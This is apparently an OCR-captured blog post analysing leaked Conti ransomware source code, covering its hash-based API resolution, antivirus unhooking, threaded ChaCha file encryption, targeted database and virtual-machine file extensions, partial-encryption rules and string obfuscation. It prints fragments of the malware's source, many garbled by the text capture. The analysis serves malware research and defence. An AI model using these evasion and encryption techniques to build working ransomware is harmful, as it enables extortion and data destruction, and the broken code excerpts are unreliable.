Conti ransomware source code investigation - part 1.

@ cocomelonc.github.io/investigation/2022/03/27/malw-inv-conti-1.html
March 27, 2022

4 minute read

Hello, cybersecurity enthusiasts and white hackers!
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<Wbemidl.h> % Greetings,

comment(lib, "wbemuuid.l

KaliLinux # KaliTools # KaliDocs # Kali Forums X Kali NetHunter Exploit-DB

Here is a friendly heads-up that the Conti gang has just lost all their
shit. Please know this is true.
https://twitter.com/ContilLeaks/status/1498030708736073734

TATIC DWORD BufferSize
TATIC CONST BYTE g ContiPatterr The link will take you to download an 1l.tgz file that can be unpacked

running tar -xzvf 1.tgz command in your terminal . The contents of the first
dump contain the chat communications (current, as of today and going to
the past) of the Conti Ransomware gang. We promise it is very interesting.

STATIC process killer::PPID LIS
There are more dumps coming , stay tuned.
ENCRYPT MODES { You can help the world by writing this as your top story.

It is not malware or a joke.
This is being sent to many journalists and researchers.

Thank you for your support
Glory to Ukraine!

b ) 1 1208

VOID
cryptor::SetWhiteListProcess(process_killer::PPID LIST PidList)
{

A Ukrainian security researcher has leaked newer malware source code from the Conti
ransomware operation in revenge for the cybercriminals siding with Russia on the invasion of
Ukraine.

— )-[~/projects/hacking/malw/conti_v3]
—% 1s

total 28K

drwxr-xr-x cocomelonc cocomelonc 4. Mar 3 17:19
drwxr-xr-x cocomelonc cocomelonc 4. Mar 3 17:18

drwxr-xr-x cocomelonc cocomelonc 4. Dec 00:05
-rwW-r--r-- cocomelonc cocomelonc 2. Jan 2021 conti_v3.sln
drwxr-xr-x cocomelonc cocomelonc 4. Jan 2021
drwxr-xr-x cocomelonc cocomelonc 4. Jan 2021
drwxr-xr-x cocomelonc cocomelonc 4. Jan 2021

As you can see the last modified dates being January 25th, 2021.

what’s Conti ransomware?
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https://cocomelonc.github.io/investigation/2022/03/27/malw-inv-conti-1.html

ContiLocker is a ransomware developed by the Conti Ransomware Gang, a Russian-
speaking criminal collective with suspected links with Russian security agencies. Conti is
also operates a ransomware-as-a-service (RaaS) business model.

structure

The source code leak is a Visual Studio solution (contains conti v3.sln ):

that allows anyone with access to compile the ransomware locker:
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and decryptor:

e

cryptor.cpp b4

33 SecureZeroMemory

SecureZeroMemory

SecureZeroMemory

si.wShowWindow

morphcode(si.wSh
si.ch (s
morphcode(si.cb)
si.dwFlags = STA
morphcode(si.dwF
plstrcpyW(CmdLin

(pCreateProce

pwWaitForSingle
morphcode(pi.h
pCloseHandle(p
morphcode (pi.h
pCloseHandle(p
morphcode(pi.h
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ENCRYPT MOD

decryptor.cpp

FULL_ENCRYPT

PARTLY ENCRYPT

HEADER ENCRYPT
b

BOOL

AV engines evasion

The first thing that usually attracts me to professionally written malware is the action by
which this malware itself evasion AV engines and hides its activity.

To see the mechanism of communication with WinAPI, | look in the folder api :
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HASHING_SEED 0xb801fcda
API_CACHE SIZE (LPVOID)

R DWORDLONG

ADDR DWORD

RVATOVA( base, offset ) ( (ADDR)base (ADDR)offset )

API CACHE SIZE ( (LPVOID) 1024)

UNICODE STRING

As you can see, to convert RVA (Relative Virtual Address) to VA (Virtual Address) conti used
this macro.

Then, find function GetApiAddr which find Windows API function address by comparing it's
hash:
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ADDR GetApiAddr(HMODULE Module, DWORD ProcNameHash, ADDR* Address)
{

PIMAGE OPTIONAL HEADER poh (PIMAGE_OPTIONAL HEADER) ((char*)Module ( (PIMAGE_DOS HEADEI

PIMAGE EXPORT DIRECTORY Table (IMAGE EXPORT DIRECTORY*)RVATOVA(Module, poh-=DataDirect
DWORD DataSize = poh->DataDirectory[IMAGE DIRECTORY ENTRY EXPORT].Size;

INT Ordinal;
BOOL Found FALSE;

(HIWORD (ProcNameHash) 0)

Ordinal (LOWORD (ProcNameHash) ) Table--Base;

that is, Conti uses one of the simplest but effective AV engines bypass tricks, | wrote about
this in a previous post.

And what hashing algorithm is used by conti?

getapi.cpp
409 (i 0; 1 < Table =NumberOfNames; i)
410
411
412 ProcName (char*)RVATOVA(Module, “NamesTable);
413
414
415 (MurmurHash2A(ProcName, StrLen(ProcName), HASHING SEED) ProcNameHash)
416
417 Ordinal OrdinalTable;
418 Found TRUE;
419 ;
420
421
422
423 NamesTable;
424 OrdinalTable;
425
426
427
428



https://cocomelonc.github.io/tutorial/2022/03/22/simple-av-evasion-5.html

x hash.cpp

"hash.h"
"..\memory.h"

mmix(h,k) { k m; k k r; k m; h m; h k: }
LowerChar(C) (C ‘A C '2') {C=C+ ('a'-'A");}

unsigned int MurmurHash2A( void* key, int len, unsigned int seed)
{

char temp[64];

RtlSecureZeroMemory(temp, 64);

memory::Copy(temp, (PVOID)key, len);

(int i 0; 1 < len; i++) {
LowerChar(temp[i]);

}

unsigned int m
int r = 24;
unsigned int L = len;

unsigned char* data unsigned char*)temp;

rom e 'II Falal= -'1] 'Jl nt l'\

MurmurHash is a non-cryptographic hash function and was written by Austin Appleby.

After that, the api module is invoked to execute an anti-sandbox technique with the
purpose of disable all the possible hooking’s on known DLLs. In fact, the following DLLs are
loaded through the just resolved LoadLibraryA API:
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https://github.com/aappleby/smhasher/blob/master/src/MurmurHash3.cpp

X antihooks.cpp

VOID DisableHooks()

{
HMODULE hKernel32 = aplLoadlLibraryA(OBFA("kernel32.dl1"));
HMODULE hWs2_32 = aplLoadLibraryA(OBFA("ws2_32.dl1"));
HMODULE hAdvapi32 = aplLoadLibraryA(OBFA("Advapi32.dll"));
HMODULE hNtdll = apLoadLibraryA(OBFA("ntdll.dll"));
HMODULE hRstrtmgr = aplLoadlLibraryA(OBFA("Rstrtmgr.dll"));
HMODULE hOle32 apLoadLibraryA(OBFA("0le32.dl1"));
HMODULE hOleAut = apLoadLibraryA(OBFA("OleAut32.dll"));

HMODULE hNetApi32 = aplLoadLibraryA(OBFA("Netapi32.dll"));
HMODULE hIphlp32 = aplLoadlLibraryA(OBFA("Iphlpapi.dll"));

HMODULE hShlwapi = aplLoadlLibrary
HMODULE hShell32 = aplLoadLibrary

OBFA("Shlwapi.dll"));

Al
A(OBFA("Shell32.d11"));

(hKernel32) {
removeHooks (hKernel32) ;

(hws2 32) {

threading

What about module threadpool ?. Each thread allocates its own buffer for the upcoming
encryption and initialize its own cryptography context through the CryptAcquireContextA
APl and an RSA public key.:
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File Edit View Selection Find Packages Help

Project threadpool.cpp
—
STATIC
BOOL
GetCryptoProvider(_out HCRYPTPROV* CryptoProvider)
{

BOOL bSuccess (BOOL) pCryptAcquireContextA(CryptoProvider, NULL, OBFA(MS_ENH RS

(bSuccess) {
TRUE;
+

bSuccess (BoOL )pCryptAcquireContextA(CryptoProvider, NULL, OBFA(MS_ENH_R
(bSuccess) {
TRUE;
}
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bSuccess (BOOL ) pCryptAcquireContextA(CryptoProvider, NULL, OBFA(MS ENH R
(bSuccess) {
TRUE;

Then, each thread waits in an infinite loop for a task in the TaskList queue. In case a new
task is available, the filename to encrypt is extracted from the task:

threadpool.cpp x

77 (TRUE) {

pEnterCriticalSection(&ThreadPoolInfo-=CriticalSection);

PTASK INFO TaskInfo = TAILQ FIRST(&ThreadPoolInfo-=TaskList);
(!TaskInfo) {

calSection(&ThreadPoolInfo =CriticalSection);

<

TAILQ REMOVE(&ThreadPoolInfo-=TaskList, TaskInfo, Entries);

pLeaveCriticalSection(&ThreadPoolInfo->CriticalSection);

(TaskInfo-=Stop) {

’

encryption

The encryption for a specific file starts with a random key generation using the
CryptGenRandom API:
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il cryptor.cpp — "/projects/hacking/malw/conti_v3 — Atom
File Edit View Selection Find Packages Help
Project cryptor.cpp
v I contly3 —
= . . _
in HCRYPTP Provider,
in H { PublicKey,
in cryptor::LPFILE INFO FileInfo

DWORD dwDatalLen = 40;

morphcode(FileInfo);

(!pCryptGenRandom(Provider, 32, FileInfo-=ChachaKey)) {
FALSE;

morphcode (FileInfo->ChachaKey) ;

(!'pCryptGenRandom(Provider, 8, FileInfo-=ChachaIV)) {

morphcode (FileInfo-=ChachalV);

of a 32 -bytes key and another random generation of an 8 -bytes IV.

And as you can see, conti used ChaCha stream cipher which developed by D.J.Bernstein.

CheckForDataBases method is invoked to check for a possible full or partial encryption:
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https://en.wikipedia.org/wiki/Salsa20
https://en.wikipedia.org/wiki/Daniel_J._Bernstein

i Preject — "/projects/hacking/malw/conti_v3 — Ato

File Edit View Selection Find Packages Help

Project cryptor.cpp

v I contly: 287 BOOL

288 CheckForDataBases( in LPCWSTR Filename)
289 {
290
291 LPCWSTR Extensions]|]
292 {
293
294 OBFW(L".4dd"),
295 OBFW(L".4dl1"}),
296 OBFW{L".accdb"),
297 OBFW{L".accdc"),
298 OBFW(L".accde"),
299 OBFW{L".accdr"),
300 OBFW(L".accdt"),
301 OBFW{L".accft"),
302 OBFW(L".adb"}),
303 OBFW(L".ade"}),
304 OBFW(L".adf"}),
305 OBFW(L".adp"),
306 OBFW(L".arc"),
307 OBFW(L".ora"),
308 OBFW({L".alf"},
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('OpenFileEncrypt(FileInfo)) {
FALSE;
(CheckForDataBases (FileInfo->Filename)) {
('WriteEncryptInfo(FileInfo, FULL ENCRYPT, 0)) {

FALSE;
}

Result = EncryptFull(FileInfo, Buffer, CryptoProvider, PublicKey);

(CheckForVirtualMachines(FileInfo-=Filename)) {

against the following extensions:




.4dd, .4dl, .accdb, .accdc, .accde, .accdr, .accdt, .accft, .adb, .ade,
.adf, .adp, .arc, .ora, .alf, .ask, .btr, .bdf, .cat, .cdb, .ckp, .cma,
.cpd, .dacpac, .dad, .dadiagrams, .daschema, .db, .db-shm, .db-wal, .db3,
.dbc, .dbf, .dbs, .dbt, .dbv, .dbx, .dcb, .dct, .dcx, .ddl, .dlis, .dp1,
.dgy, .dsk, .dsn, .dtsx, .dxl, .eco, .ecx, .edb, .epim, .exb, .fcd, .fdb,
.fic, .fmp, .fmp12, .fmpsl, .fol, .fp3, .fp4, .fp5, .fp7, .fpt, .frm, .gdb,
.grdb, .gwi, .hdb, .his, .ib, .idb, .ihx, .itdb, .itw, .jet, .jtx, .kdb,
.kexi, .kexic, .kexis, .lgc, .lwx, .maf, .maqg, .mar, .mas.mav, .mdb, .mdf,
.mpd, .mrg, .mud, .mwb, .myd, .ndf, .nnt, .nrmlib, .ns2, .ns3,.ns4, .nsf,
.nv, .nv2, .nwdb, .nyf, .odb, .ogy, .orx, .owc, .p96, .p97, .pan, .pdb, .p
dm, .pnz, .qry, .qvd, .rbf, .rctd, .rod, .rodx, .rpd, .rsd, .sas7bdat, .sbf,
.scx, .sdb, .sdc, .sdf, .sis, .spg, .sql, .sqglite, .sqlite3, .sqglitedb, .te,
.temx, .tmd, .tps, .trc, .trm, .udb, .udl, .usr, .v12, .vis, .vpd, .vvy,
.wdb, .wmdb, .wrk, .xdb, .x1ld, .xmlff, .abcddb, .abs, .abx, .accdw, .adn,
.db2, .fm5, .hjt, .icg, .icr, .kdb, .lut, .maw, .mdn, .mdt

And cCheckForvirtualMachines method is invoked to check for a possible partial
encryption ( 20% ):

(CheckForVirtualMachines(FileInfo-=Filename)) {

NCRYPT, 20)) {

Result EncryptPartly(FileInfo, Buffer, CryptoProvider, PublicKey, 2
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cryptor.cpp

20:
PartSize (FileInfo->FileSize
morphcode(PartSize);
StepsCount 3:
StepSize (FileInfo-=FileSize (PartSize 3))
morphcode(StepSize);

TIE .

PartSize = (FileInfo-=FileSize
morphcode(PartSize);

StepsCount 3:

StepSize (FileInfo-~FileSize (PartSize
morphcode(StepSize);

PartSize = (FileInfo-=FileSize
morphcode(PartSize);

StepsCount 3:

StepSize (FileInfo-~FileSize (PartSize

the following extensions:

vdi, .vhd, .vmdk, .pvm, .vmem, .vmsn, .vmsd, .nvram, .vmx, .raw, .Qcow2,
.subvol, .bin, .vsv, .avhd, .vmrs, .vhdx, .avdx, .vmcx, .iso

and in other cases, the following pattern is followed:

o if the file size is lower than 1048576 bytes (1.04 GB) - perform a full encryption
o if the file sizeis < 5242880 bytes (5.24 GB) and > 1048576 bytes (1.04 GB) -
partial encryption: only headers
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cryptor.cpp

1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266

else, 50%

(FileInfo->FileSize 1048576) {
(!'WriteEncryptInfo(FileInfo, FULL_ENCRYPT, 0)) {
FALSE;

Result = EncryptFull(FileInfo, Buffer, CryptoProvider, PublicKey);

(FileInfo =FileSize 5242880) {

(!WriteEncryptInfo(FileInfo, HEADER ENCRYPT, 0)) {
FALSE;

Result = EncryptHeader(FileInfo, Buffer, CryptoProvider, PublicKey);

partial encryption:

{
('WriteEncryptInfo(FileInfo, PARTLY ENCRYPT, global::GetEncryptSize())) {
FALSE;
}

Result = EncryptPartly(FileInfo, Buffer, CryptoProvider, PublicKey, global::GetEncryg

ENCRYPT MODES {

FULL _ENCRYPT Ox24,
PARTLY ENCRYPT 0x25,
HEADER ENCRYPT Ox26




obfuscation

In addition, an interesting module was found in the source codes: obfuscation :

[ ] MetaString.h — “/projects/hacking/malw/conti_v3 — Atom

File Edit View Selection Find Packages Help

Project letaRandom2.h x MetaString.h

v Bl contiv3 i once
"metarandom2.h"

<array>
<utility>

OBFUSCATE STRINGS

<int A, int B=>

ExtendedEuclidian

ndedEuclidian<B,
tendedEuclidian<B,
dedEuclidian<B,

which can generate obfuscated code via ADVObfuscator. For example strings:
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https://github.com/andrivet/ADVobfuscator

File Edit View Selection Find Packages Help
X antihooks.cpr X MetaString.h
bool m isDecrypted false;
ed char m_buffer]

OBFA(str) (( MetaBuffer aRandom2< COUNTER , 30=::value=(Prim
Met: \ e, \

std: :make ) uence (str)=>(( unsigned char*)str) .decrypt())

OBFW(str) (( char )JMetaBuffer get<MetaRandom2<__COUNTER _, 30>::value>(PrimeNum
Met: “OUN \
std uence (str)>>(( unsigned char®)str) .decrypt())

defined (UNICODE) || defined(_UNICODE)
TOBF OBFW

TOBF OBFA

That’s all today. In the next part | will investigate network scanner and filesystem
modules.

conclusion

On February 25th, 2022 , Conti released a statement of full support for the Russian
government - coupled with a stern warning addressed at anyone who might consider
retaliating against Russia via digital warfare.

“WARNING”

¢ The Conti Team is officially announcing a full support of Russian government. If any
body will decide to Gr?anize a cyberattack or any war activities against Russia, we a
re going to use our all possible resources to strike back at the crifical infrastructures
of an enemy.

W 2/25/2022 @ 55 B0[0.00B]

ContiLeaks is a turning point in the cybercrime ecosystem, and in this case, we can expect a
lot of changes in how cybercriminal organizations operate. From the one side less mature
cybercriminal orgs might be very powerful and instead more sophischated gangs will learn
from Conti’s mistakes.

| hope this post spreads awareness to the blue teamers of this interesting malware
techniques, and adds a weapon to the red teamers arsenal.

Carbanak

GetApiAddr implementation in Carberp malware
Carbanak source code

MurmurHash by Austin Appleby
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https://en.wikipedia.org/wiki/Carbanak
https://github.com/hryuk/Carberp/blob/master/source%20-%20absource/pro/all%20source/RemoteCtl/DrClient/GetApi.cpp
https://github.com/Aekras1a/Updated-Carbanak-Source-with-Plugins
https://github.com/aappleby/smhasher/blob/master/src/MurmurHash3.cpp

ADVObfuscator
ChaCha cipher
theZoo repo in Github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
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https://github.com/andrivet/ADVobfuscator
https://en.wikipedia.org/wiki/Salsa20
https://github.com/ytisf/theZoo

